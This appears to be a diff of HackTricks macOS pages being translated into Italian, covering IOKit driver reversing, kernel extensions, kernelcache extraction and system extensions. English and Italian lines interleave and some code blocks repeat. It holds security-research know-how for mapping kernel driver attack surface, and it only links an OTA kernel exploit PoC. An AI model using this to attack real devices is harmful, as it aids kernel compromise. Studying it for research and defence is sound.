Tuttavia, **nessun driver IOKit** è open-source. Comunque, di tanto in tanto, un rilascio di un driver potrebbe venire con simboli che rendono più facile il debug. Controlla come [**ottenere le estensioni del driver dal firmware qui**](./#ipsw)**.**
È scritto in **C++**. Puoi ottenere simboli C++ demangled con:
```bash
# Get demangled symbols
nm -C com.apple.driver.AppleJPEGDriver
@ -23,210 +22,193 @@ c++filt
__ZN16IOUserClient202222dispatchExternalMethodEjP31IOExternalMethodArgumentsOpaquePK28IOExternalMethodDispatch2022mP8OSObjectPv
IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*)
```
> [!CAUTION]
> IOKit **exposed functions** could perform **additional security checks** when a client tries to call a function but note that the apps are usually **limited** by the **sandbox** to which IOKit functions they can interact with.
> Le funzioni **esposte** di IOKit potrebbero eseguire **controlli di sicurezza aggiuntivi** quando un client tenta di chiamare una funzione, ma si noti che le app sono solitamente **limitati** dal **sandbox** con cui possono interagire le funzioni di IOKit.
## Drivers
## Driver
In macOS they are located in:
In macOS si trovano in:
- **`/System/Library/Extensions`**
- KEXT files built into the OS X operating system.
- File KEXT integrati nel sistema operativo OS X.
- **`/Library/Extensions`**
- KEXT files installed by 3rd party software
- File KEXT installati da software di terze parti
In iOS they are located in:
In iOS si trovano in:
- **`/System/Library/Extensions`**
```bash
#Use kextstat to print the loaded drivers
kextstat
Executing: /usr/bin/kmutil showloaded
No variant specified, falling back to release
Index Refs Address Size Wired Name (Version) UUID <Linked Against>
1 142 0 0 0 com.apple.kpi.bsd (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
2 11 0 0 0 com.apple.kpi.dsep (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
3 170 0 0 0 com.apple.kpi.iokit (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
4 0 0 0 0 com.apple.kpi.kasan (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
5 175 0 0 0 com.apple.kpi.libkern (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
6 154 0 0 0 com.apple.kpi.mach (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
7 88 0 0 0 com.apple.kpi.private (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
8 106 0 0 0 com.apple.kpi.unsupported (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
9 2 0xffffff8003317000 0xe000 0xe000 com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5>
10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1>
1 142 0 0 0 com.apple.kpi.bsd (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
2 11 0 0 0 com.apple.kpi.dsep (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
3 170 0 0 0 com.apple.kpi.iokit (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
4 0 0 0 0 com.apple.kpi.kasan (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
5 175 0 0 0 com.apple.kpi.libkern (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
6 154 0 0 0 com.apple.kpi.mach (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
7 88 0 0 0 com.apple.kpi.private (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
8 106 0 0 0 com.apple.kpi.unsupported (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
9 2 0xffffff8003317000 0xe000 0xe000 com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5>
10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1>
```
Fino al numero 9, i driver elencati sono **caricati all'indirizzo 0**. Questo significa che non sono veri e propri driver ma **parte del kernel e non possono essere scaricati**.
Until the number 9 the listed drivers are **loaded in the address 0**. This means that those aren't real drivers but **part of the kernel and they cannot be unloaded**.
In order to find specific extensions you can use:
Per trovare estensioni specifiche puoi usare:
```bash
kextfind -bundle-id com.apple.iokit.IOReportFamily #Search by full bundle-id
kextfind -bundle-id -substring IOR #Search by substring in bundle-id
```
To load and unload kernel extensions do:
Per caricare e scaricare le estensioni del kernel fare:
```bash
kextload com.apple.iokit.IOReportFamily
kextunload com.apple.iokit.IOReportFamily
```
## IORegistry
The **IORegistry** is a crucial part of the IOKit framework in macOS and iOS which serves as a database for representing the system's hardware configuration and state. It's a **hierarchical collection of objects that represent all the hardware and drivers** loaded on the system, and their relationships to each other.
You can get the IORegistry using the cli **`ioreg`** to inspect it from the console (specially useful for iOS).
Il **IORegistry** è una parte cruciale del framework IOKit in macOS e iOS che funge da database per rappresentare la configurazione e lo stato dell'hardware del sistema. È una **collezione gerarchica di oggetti che rappresentano tutto l'hardware e i driver** caricati sul sistema e le loro relazioni tra di loro.
Puoi ottenere l'IORegistry utilizzando il cli **`ioreg`** per ispezionarlo dalla console (particolarmente utile per iOS).
```bash
ioreg -l #List all
ioreg -w 0 #Not cut lines
ioreg -p <plane> #Check other plane
```
You could download **`IORegistryExplorer`** from **Xcode Additional Tools** from [**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/) and inspect the **macOS IORegistry** through a **graphical** interface.
Puoi scaricare **`IORegistryExplorer`** da **Xcode Additional Tools** da [**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/) e ispezionare il **macOS IORegistry** attraverso un'interfaccia **grafica**.
<figure><img src="../../../images/image (1167).png" alt="" width="563"><figcaption></figcaption></figure>
In IORegistryExplorer, "planes" are used to organize and display the relationships between different objects in the IORegistry. Each plane represents a specific type of relationship or a particular view of the system's hardware and driver configuration. Here are some of the common planes you might encounter in IORegistryExplorer:
In IORegistryExplorer, "piani" sono usati per organizzare e visualizzare le relazioni tra diversi oggetti nell'IORegistry. Ogni piano rappresenta un tipo specifico di relazione o una particolare vista della configurazione hardware e dei driver del sistema. Ecco alcuni dei piani comuni che potresti incontrare in IORegistryExplorer:
1. **IOService Plane**: This is the most general plane, displaying the service objects that represent drivers and nubs (communication channels between drivers). It shows the provider-client relationships between these objects.
2. **IODeviceTree Plane**: This plane represents the physical connections between devices as they are attached to the system. It is often used to visualize the hierarchy of devices connected via buses like USB or PCI.
3. **IOPower Plane**: Displays objects and their relationships in terms of power management. It can show which objects are affecting the power state of others, useful for debugging power-related issues.
4. **IOUSB Plane**: Specifically focused on USB devices and their relationships, showing the hierarchy of USB hubs and connected devices.
5. **IOAudio Plane**: This plane is for representing audio devices and their relationships within the system.
1. **IOService Plane**: Questo è il piano più generale, che mostra gli oggetti di servizio che rappresentano driver e nubs (canali di comunicazione tra driver). Mostra le relazioni fornitore-cliente tra questi oggetti.
2. **IODeviceTree Plane**: Questo piano rappresenta le connessioni fisiche tra i dispositivi mentre sono collegati al sistema. È spesso usato per visualizzare la gerarchia dei dispositivi connessi tramite bus come USB o PCI.
3. **IOPower Plane**: Mostra oggetti e le loro relazioni in termini di gestione dell'energia. Può mostrare quali oggetti stanno influenzando lo stato di alimentazione di altri, utile per il debug di problemi legati all'energia.
4. **IOUSB Plane**: Focalizzato specificamente sui dispositivi USB e le loro relazioni, mostrando la gerarchia degli hub USB e dei dispositivi connessi.
5. **IOAudio Plane**: Questo piano è per rappresentare i dispositivi audio e le loro relazioni all'interno del sistema.
6. ...
## Driver Comm Code Example
## Esempio di Codice per la Comunicazione del Driver
The following code connects to the IOKit service `"YourServiceNameHere"` and calls the function inside the selector 0. For it:
- it first calls **`IOServiceMatching`** and **`IOServiceGetMatchingServices`** to get the service.
- It then establish a connection calling **`IOServiceOpen`**.
- And it finally calls a function with **`IOConnectCallScalarMethod`** indicating the selector 0 (the selector is the number the function you want to call has assigned).
Il seguente codice si connette al servizio IOKit `"YourServiceNameHere"` e chiama la funzione all'interno del selettore 0. Per farlo:
- prima chiama **`IOServiceMatching`** e **`IOServiceGetMatchingServices`** per ottenere il servizio.
- Poi stabilisce una connessione chiamando **`IOServiceOpen`**.
- E infine chiama una funzione con **`IOConnectCallScalarMethod`** indicando il selettore 0 (il selettore è il numero assegnato alla funzione che vuoi chiamare).
```objectivec
#import <Foundation/Foundation.h>
#import <IOKit/IOKitLib.h>
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get a reference to the service using its name
CFMutableDictionaryRef matchingDict = IOServiceMatching("YourServiceNameHere");
if (matchingDict == NULL) {
NSLog(@"Failed to create matching dictionary");
return -1;
}
@autoreleasepool {
// Get a reference to the service using its name
CFMutableDictionaryRef matchingDict = IOServiceMatching("YourServiceNameHere");
if (matchingDict == NULL) {
NSLog(@"Failed to create matching dictionary");
return -1;
}
// Obtain an iterator over all matching services
io_iterator_t iter;
kern_return_t kr = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &iter);
if (kr != KERN_SUCCESS) {
NSLog(@"Failed to get matching services");
return -1;
}
// Obtain an iterator over all matching services
io_iterator_t iter;
kern_return_t kr = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &iter);
if (kr != KERN_SUCCESS) {
NSLog(@"Failed to get matching services");
return -1;
}
// Get a reference to the first service (assuming it exists)
io_service_t service = IOIteratorNext(iter);
if (!service) {
NSLog(@"No matching service found");
IOObjectRelease(iter);
return -1;
}
// Get a reference to the first service (assuming it exists)
io_service_t service = IOIteratorNext(iter);
if (!service) {
NSLog(@"No matching service found");
IOObjectRelease(iter);
return -1;
}
// Open a connection to the service
io_connect_t connect;
kr = IOServiceOpen(service, mach_task_self(), 0, &connect);
if (kr != KERN_SUCCESS) {
NSLog(@"Failed to open service");
IOObjectRelease(service);
IOObjectRelease(iter);
return -1;
}
// Open a connection to the service
io_connect_t connect;
kr = IOServiceOpen(service, mach_task_self(), 0, &connect);
if (kr != KERN_SUCCESS) {
NSLog(@"Failed to open service");
IOObjectRelease(service);
IOObjectRelease(iter);
return -1;
}
// Call a method on the service
// Assume the method has a selector of 0, and takes no arguments
kr = IOConnectCallScalarMethod(connect, 0, NULL, 0, NULL, NULL);
if (kr != KERN_SUCCESS) {
NSLog(@"Failed to call method");
}
// Call a method on the service
// Assume the method has a selector of 0, and takes no arguments
kr = IOConnectCallScalarMethod(connect, 0, NULL, 0, NULL, NULL);
if (kr != KERN_SUCCESS) {
NSLog(@"Failed to call method");
}
// Cleanup
IOServiceClose(connect);
IOObjectRelease(service);
IOObjectRelease(iter);
}
return 0;
// Cleanup
IOServiceClose(connect);
IOObjectRelease(service);
IOObjectRelease(iter);
}
return 0;
}
```
Ci sono **altre** funzioni che possono essere utilizzate per chiamare le funzioni IOKit oltre a **`IOConnectCallScalarMethod`** come **`IOConnectCallMethod`**, **`IOConnectCallStructMethod`**...
There are **other** functions that can be used to call IOKit functions apart of **`IOConnectCallScalarMethod`** like **`IOConnectCallMethod`**, **`IOConnectCallStructMethod`**...
## Inversione del punto di ingresso del driver
## Reversing driver entrypoint
Puoi ottenerli ad esempio da un [**firmware image (ipsw)**](./#ipsw). Poi, caricalo nel tuo decompilatore preferito.
You could obtain these for example from a [**firmware image (ipsw)**](./#ipsw). Then, load it into your favourite decompiler.
You could start decompiling the **`externalMethod`** function as this is the driver function that will be receiving the call and calling the correct function:
Puoi iniziare a decompilare la funzione **`externalMethod`** poiché questa è la funzione del driver che riceverà la chiamata e chiamerà la funzione corretta:
<figure><img src="../../../images/image (1168).png" alt="" width="315"><figcaption></figcaption></figure>
<figure><img src="../../../images/image (1169).png" alt=""><figcaption></figcaption></figure>
That awful call demagled means:
Quella terribile chiamata demangled significa:
```cpp
IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*)
```
Note how in the previous definition the **`self`** param is missed, the good definition would be:
Nota come nella definizione precedente il parametro **`self`** è mancante, la buona definizione sarebbe:
```cpp
IOUserClient2022::dispatchExternalMethod(self, unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*)
```
Actually, you can find the real definition in [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388):
In realtà, puoi trovare la definizione reale in [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/Kernel/IOUserClient.cpp#L6388):
```cpp
IOUserClient2022::dispatchExternalMethod(uint32_t selector, IOExternalMethodArgumentsOpaque *arguments,
const IOExternalMethodDispatch2022 dispatchArray[], size_t dispatchArrayCount,
OSObject * target, void * reference)
const IOExternalMethodDispatch2022 dispatchArray[], size_t dispatchArrayCount,
OSObject * target, void * reference)
```
With this info you can rewrite Ctrl+Right -> `Edit function signature` and set the known types:
Con queste informazioni puoi riscrivere Ctrl+Right -> `Edit function signature` e impostare i tipi noti:
<figure><img src="../../../images/image (1174).png" alt=""><figcaption></figcaption></figure>
The new decompiled code will look like:
Il nuovo codice decompilato apparirà così:
<figure><img src="../../../images/image (1175).png" alt=""><figcaption></figcaption></figure>
For the next step we need to have defined the **`IOExternalMethodDispatch2022`** struct. It's opensource in [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176), you could define it:
Per il passo successivo dobbiamo avere definita la struct **`IOExternalMethodDispatch2022`**. È open source in [https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176](https://github.com/apple-oss-distributions/xnu/blob/1031c584a5e37aff177559b9f69dbd3c8c3fd30a/iokit/IOKit/IOUserClient.h#L168-L176), puoi definirla:
<figure><img src="../../../images/image (1170).png" alt=""><figcaption></figcaption></figure>
Now, following the `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray` you can see a lot of data:
Ora, seguendo il `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray` puoi vedere molti dati:
<figure><img src="../../../images/image (1176).png" alt="" width="563"><figcaption></figcaption></figure>
Change the Data Type to **`IOExternalMethodDispatch2022:`**
Cambia il tipo di dato in **`IOExternalMethodDispatch2022:`**
<figure><img src="../../../images/image (1177).png" alt="" width="375"><figcaption></figcaption></figure>
after the change:
dopo la modifica:
<figure><img src="../../../images/image (1179).png" alt="" width="563"><figcaption></figcaption></figure>
And as we now in there we have an **array of 7 elements** (check the final decompiled code), click to create an array of 7 elements:
E come sappiamo lì abbiamo un **array di 7 elementi** (controlla il codice decompilato finale), clicca per creare un array di 7 elementi:
<figure><img src="../../../images/image (1180).png" alt="" width="563"><figcaption></figcaption></figure>
After the array is created you can see all the exported functions:
Dopo che l'array è stato creato puoi vedere tutte le funzioni esportate:
<figure><img src="../../../images/image (1181).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> If you remember, to **call** an **exported** function from user space we don't need to call the name of the function, but the **selector number**. Here you can see that the selector **0** is the function **`initializeDecoder`**, the selector **1** is **`startDecoder`**, the selector **2** **`initializeEncoder`**...
> Se ricordi, per **chiamare** una funzione **esportata** dallo spazio utente non dobbiamo chiamare il nome della funzione, ma il **numero del selettore**. Qui puoi vedere che il selettore **0** è la funzione **`initializeDecoder`**, il selettore **1** è **`startDecoder`**, il selettore **2** **`initializeEncoder`**...
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,40 +2,39 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Informazioni di base
Kernel extensions (Kexts) are **packages** with a **`.kext`** extension that are **loaded directly into the macOS kernel space**, providing additional functionality to the main operating system.
Le estensioni del kernel (Kexts) sono **pacchetti** con un'estensione **`.kext`** che vengono **caricati direttamente nello spazio del kernel di macOS**, fornendo funzionalità aggiuntive al sistema operativo principale.
### Requirements
### Requisiti
Obviously, this is so powerful that it is **complicated to load a kernel extension**. These are the **requirements** that a kernel extension must meet to be loaded:
Ovviamente, questo è così potente che è **complicato caricare un'estensione del kernel**. Questi sono i **requisiti** che un'estensione del kernel deve soddisfare per essere caricata:
- When **entering recovery mode**, kernel **extensions must be allowed** to be loaded:
- Quando si **entra in modalità di recupero**, le **estensioni del kernel devono essere autorizzate** a essere caricate:
<figure><img src="../../../images/image (327).png" alt=""><figcaption></figcaption></figure>
- The kernel extension must be **signed with a kernel code signing certificate**, which can only be **granted by Apple**. Who will review in detail the company and the reasons why it is needed.
- The kernel extension must also be **notarized**, Apple will be able to check it for malware.
- Then, the **root** user is the one who can **load the kernel extension** and the files inside the package must **belong to root**.
- During the upload process, the package must be prepared in a **protected non-root location**: `/Library/StagedExtensions` (requires the `com.apple.rootless.storage.KernelExtensionManagement` grant).
- Finally, when attempting to load it, the user will [**receive a confirmation request**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) and, if accepted, the computer must be **restarted** to load it.
- L'estensione del kernel deve essere **firmata con un certificato di firma del codice del kernel**, che può essere **concesso solo da Apple**. Chi esaminerà in dettaglio l'azienda e le ragioni per cui è necessaria.
- L'estensione del kernel deve anche essere **notarizzata**, Apple sarà in grado di controllarla per malware.
- Poi, l'utente **root** è colui che può **caricare l'estensione del kernel** e i file all'interno del pacchetto devono **appartenere a root**.
- Durante il processo di caricamento, il pacchetto deve essere preparato in una **posizione protetta non-root**: `/Library/StagedExtensions` (richiede il grant `com.apple.rootless.storage.KernelExtensionManagement`).
- Infine, quando si tenta di caricarlo, l'utente riceverà una [**richiesta di conferma**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) e, se accettata, il computer deve essere **riavviato** per caricarlo.
### Loading process
### Processo di caricamento
In Catalina it was like this: It is interesting to note that the **verification** process occurs in **userland**. However, only applications with the **`com.apple.private.security.kext-management`** grant can **request the kernel to load an extension**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
In Catalina era così: È interessante notare che il processo di **verifica** avviene in **userland**. Tuttavia, solo le applicazioni con il grant **`com.apple.private.security.kext-management`** possono **richiedere al kernel di caricare un'estensione**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
1. **`kextutil`** cli **starts** the **verification** process for loading an extension
- It will talk to **`kextd`** by sending using a **Mach service**.
2. **`kextd`** will check several things, such as the **signature**
- It will talk to **`syspolicyd`** to **check** if the extension can be **loaded**.
3. **`syspolicyd`** will **prompt** the **user** if the extension has not been previously loaded.
- **`syspolicyd`** will report the result to **`kextd`**
4. **`kextd`** will finally be able to **tell the kernel to load** the extension
1. **`kextutil`** cli **avvia** il processo di **verifica** per caricare un'estensione
- Parlerà con **`kextd`** inviando utilizzando un **servizio Mach**.
2. **`kextd`** controllerà diverse cose, come la **firma**
- Parlerà con **`syspolicyd`** per **verificare** se l'estensione può essere **caricata**.
3. **`syspolicyd`** **chiederà** all'**utente** se l'estensione non è stata caricata in precedenza.
- **`syspolicyd`** riporterà il risultato a **`kextd`**
4. **`kextd`** sarà infine in grado di **dire al kernel di caricare** l'estensione
If **`kextd`** is not available, **`kextutil`** can perform the same checks.
### Enumeration (loaded kexts)
Se **`kextd`** non è disponibile, **`kextutil`** può eseguire gli stessi controlli.
### Enumerazione (kexts caricati)
```bash
# Get loaded kernel extensions
kextstat
@ -43,40 +42,38 @@ kextstat
# Get dependencies of the kext number 22
kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1
```
## Kernelcache
> [!CAUTION]
> Even though the kernel extensions are expected to be in `/System/Library/Extensions/`, if you go to this folder you **won't find any binary**. This is because of the **kernelcache** and in order to reverse one `.kext` you need to find a way to obtain it.
> Anche se ci si aspetta che le estensioni del kernel siano in `/System/Library/Extensions/`, se si va in questa cartella **non si troverà alcun binario**. Questo è dovuto al **kernelcache** e per fare il reverse di un `.kext` è necessario trovare un modo per ottenerlo.
The **kernelcache** is a **pre-compiled and pre-linked version of the XNU kernel**, along with essential device **drivers** and **kernel extensions**. It's stored in a **compressed** format and gets decompressed into memory during the boot-up process. The kernelcache facilitates a **faster boot time** by having a ready-to-run version of the kernel and crucial drivers available, reducing the time and resources that would otherwise be spent on dynamically loading and linking these components at boot time.
Il **kernelcache** è una **versione pre-compilata e pre-collegata del kernel XNU**, insieme a **driver** e **estensioni del kernel** essenziali. È memorizzato in un formato **compresso** e viene decompresso in memoria durante il processo di avvio. Il kernelcache facilita un **tempo di avvio più veloce** avendo una versione pronta all'uso del kernel e dei driver cruciali disponibili, riducendo il tempo e le risorse che altrimenti verrebbero spese per caricare e collegare dinamicamente questi componenti all'avvio.
### Local Kerlnelcache
In iOS it's located in **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** in macOS you can find it with: **`find / -name "kernelcache" 2>/dev/null`** \
In my case in macOS I found it in:
In iOS si trova in **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** in macOS puoi trovarlo con: **`find / -name "kernelcache" 2>/dev/null`** \
Nel mio caso in macOS l'ho trovato in:
- `/System/Volumes/Preboot/1BAEB4B5-180B-4C46-BD53-51152B7D92DA/boot/DAD35E7BC0CDA79634C20BD1BD80678DFB510B2AAD3D25C1228BB34BCD0A711529D3D571C93E29E1D0C1264750FA043F/System/Library/Caches/com.apple.kernelcaches/kernelcache`
#### IMG4
The IMG4 file format is a container format used by Apple in its iOS and macOS devices for securely **storing and verifying firmware** components (like **kernelcache**). The IMG4 format includes a header and several tags which encapsulate different pieces of data including the actual payload (like a kernel or bootloader), a signature, and a set of manifest properties. The format supports cryptographic verification, allowing the device to confirm the authenticity and integrity of the firmware component before executing it.
Il formato di file IMG4 è un formato contenitore utilizzato da Apple nei suoi dispositivi iOS e macOS per **memorizzare e verificare in modo sicuro i componenti del firmware** (come il **kernelcache**). Il formato IMG4 include un'intestazione e diversi tag che racchiudono diversi pezzi di dati, inclusi il payload effettivo (come un kernel o un bootloader), una firma e un insieme di proprietà del manifesto. Il formato supporta la verifica crittografica, consentendo al dispositivo di confermare l'autenticità e l'integrità del componente del firmware prima di eseguirlo.
It's usually composed of the following components:
È solitamente composto dai seguenti componenti:
- **Payload (IM4P)**:
- Often compressed (LZFSE4, LZSS, …)
- Optionally encrypted
- Spesso compresso (LZFSE4, LZSS, …)
- Facoltativamente crittografato
- **Manifest (IM4M)**:
- Contains Signature
- Additional Key/Value dictionary
- Contiene la firma
- Dizionario chiave/valore aggiuntivo
- **Restore Info (IM4R)**:
- Also known as APNonce
- Prevents replaying of some updates
- OPTIONAL: Usually this isn't found
Decompress the Kernelcache:
- Conosciuto anche come APNonce
- Previene la ripetizione di alcuni aggiornamenti
- OPZIONALE: Di solito questo non viene trovato
Decomprimere il Kernelcache:
```bash
# img4tool (https://github.com/tihmstar/img4tool
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
@ -84,49 +81,39 @@ img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
# pyimg4 (https://github.com/m1stadev/PyIMG4)
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
### Download&#x20;
- [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases)
In [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) it's possible to find all the kernel debug kits. You can download it, mount it, open it with [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html) tool, access the **`.kext`** folder and **extract it**.
Check it for symbols with:
In [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) è possibile trovare tutti i kernel debug kits. Puoi scaricarlo, montarlo, aprirlo con lo strumento [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html), accedere alla cartella **`.kext`** e **estrarlo**.
Controllalo per simboli con:
```bash
nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l
```
- [**theapplewiki.com**](https://theapplewiki.com/wiki/Firmware/Mac/14.x)**,** [**ipsw.me**](https://ipsw.me/)**,** [**theiphonewiki.com**](https://www.theiphonewiki.com/)
Sometime Apple releases **kernelcache** with **symbols**. You can download some firmwares with symbols by following links on those pages. The firmwares will contain the **kernelcache** among other files.
A volte Apple rilascia **kernelcache** con **simboli**. Puoi scaricare alcuni firmware con simboli seguendo i link su quelle pagine. I firmware conterranno il **kernelcache** tra gli altri file.
To **extract** the files start by changing the extension from `.ipsw` to `.zip` and **unzip** it.
Per **estrarre** i file inizia cambiando l'estensione da `.ipsw` a `.zip` e **decomprimi**.
After extracting the firmware you will get a file like: **`kernelcache.release.iphone14`**. It's in **IMG4** format, you can extract the interesting info with:
Dopo aver estratto il firmware otterrai un file come: **`kernelcache.release.iphone14`**. È in formato **IMG4**, puoi estrarre le informazioni interessanti con:
[**pyimg4**](https://github.com/m1stadev/PyIMG4)**:**
```bash
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
[**img4tool**](https://github.com/tihmstar/img4tool)**:**
```bash
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
### Ispezionare kernelcache
### Inspecting kernelcache
Check if the kernelcache has symbols with
Controlla se il kernelcache ha simboli con
```bash
nm -a kernelcache.release.iphone14.e | wc -l
```
With this we can now **extract all the extensions** or the **one you are interested in:**
Con questo possiamo ora **estrarre tutte le estensioni** o **quella che ti interessa:**
```bash
# List all extensions
kextex -l kernelcache.release.iphone14.e
@ -139,10 +126,9 @@ kextex_all kernelcache.release.iphone14.e
# Check the extension for symbols
nm -a binaries/com.apple.security.sandbox | wc -l
```
## Debugging
## Referencias
## Riferimenti
- [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/)
- [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo)

View File

@ -1,10 +1,10 @@
# macOS Kernel Vulnerabilities
# Vulnerabilità del Kernel macOS
{{#include ../../../banners/hacktricks-training.md}}
## [Pwning OTA](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)
[**In this report**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) are explained several vulnerabilities that allowed to compromised the kernel compromising the software updater.\
[**In questo rapporto**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) vengono spiegate diverse vulnerabilità che hanno permesso di compromettere il kernel compromettendo l'aggiornamento del software.\
[**PoC**](https://github.com/jhftss/POC/tree/main/CVE-2022-46722).
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,78 +4,76 @@
## System Extensions / Endpoint Security Framework
Unlike Kernel Extensions, **System Extensions run in user space** instead of kernel space, reducing the risk of a system crash due to extension malfunction.
A differenza delle Kernel Extensions, **le System Extensions vengono eseguite nello spazio utente** anziché nello spazio del kernel, riducendo il rischio di un crash di sistema a causa di un malfunzionamento dell'estensione.
<figure><img src="../../../images/image (606).png" alt="https://knight.sc/images/system-extension-internals-1.png"><figcaption></figcaption></figure>
There are three types of system extensions: **DriverKit** Extensions, **Network** Extensions, and **Endpoint Security** Extensions.
Ci sono tre tipi di system extensions: **DriverKit** Extensions, **Network** Extensions e **Endpoint Security** Extensions.
### **DriverKit Extensions**
DriverKit is a replacement for kernel extensions that **provide hardware support**. It allows device drivers (like USB, Serial, NIC, and HID drivers) to run in user space rather than kernel space. The DriverKit framework includes **user space versions of certain I/O Kit classes**, and the kernel forwards normal I/O Kit events to user space, offering a safer environment for these drivers to run.
DriverKit è un sostituto delle kernel extensions che **forniscono supporto hardware**. Consente ai driver di dispositivo (come USB, Serial, NIC e HID drivers) di essere eseguiti nello spazio utente anziché nello spazio del kernel. Il framework DriverKit include **versioni nello spazio utente di alcune classi dell'I/O Kit**, e il kernel inoltra gli eventi normali dell'I/O Kit allo spazio utente, offrendo un ambiente più sicuro per l'esecuzione di questi driver.
### **Network Extensions**
Network Extensions provide the ability to customize network behaviors. There are several types of Network Extensions:
Le Network Extensions forniscono la possibilità di personalizzare i comportamenti di rete. Ci sono diversi tipi di Network Extensions:
- **App Proxy**: This is used for creating a VPN client that implements a flow-oriented, custom VPN protocol. This means it handles network traffic based on connections (or flows) rather than individual packets.
- **Packet Tunnel**: This is used for creating a VPN client that implements a packet-oriented, custom VPN protocol. This means it handles network traffic based on individual packets.
- **Filter Data**: This is used for filtering network "flows". It can monitor or modify network data at the flow level.
- **Filter Packet**: This is used for filtering individual network packets. It can monitor or modify network data at the packet level.
- **DNS Proxy**: This is used for creating a custom DNS provider. It can be used to monitor or modify DNS requests and responses.
- **App Proxy**: Questo viene utilizzato per creare un client VPN che implementa un protocollo VPN personalizzato orientato al flusso. Ciò significa che gestisce il traffico di rete in base alle connessioni (o flussi) piuttosto che ai singoli pacchetti.
- **Packet Tunnel**: Questo viene utilizzato per creare un client VPN che implementa un protocollo VPN personalizzato orientato ai pacchetti. Ciò significa che gestisce il traffico di rete in base ai singoli pacchetti.
- **Filter Data**: Questo viene utilizzato per filtrare i "flussi" di rete. Può monitorare o modificare i dati di rete a livello di flusso.
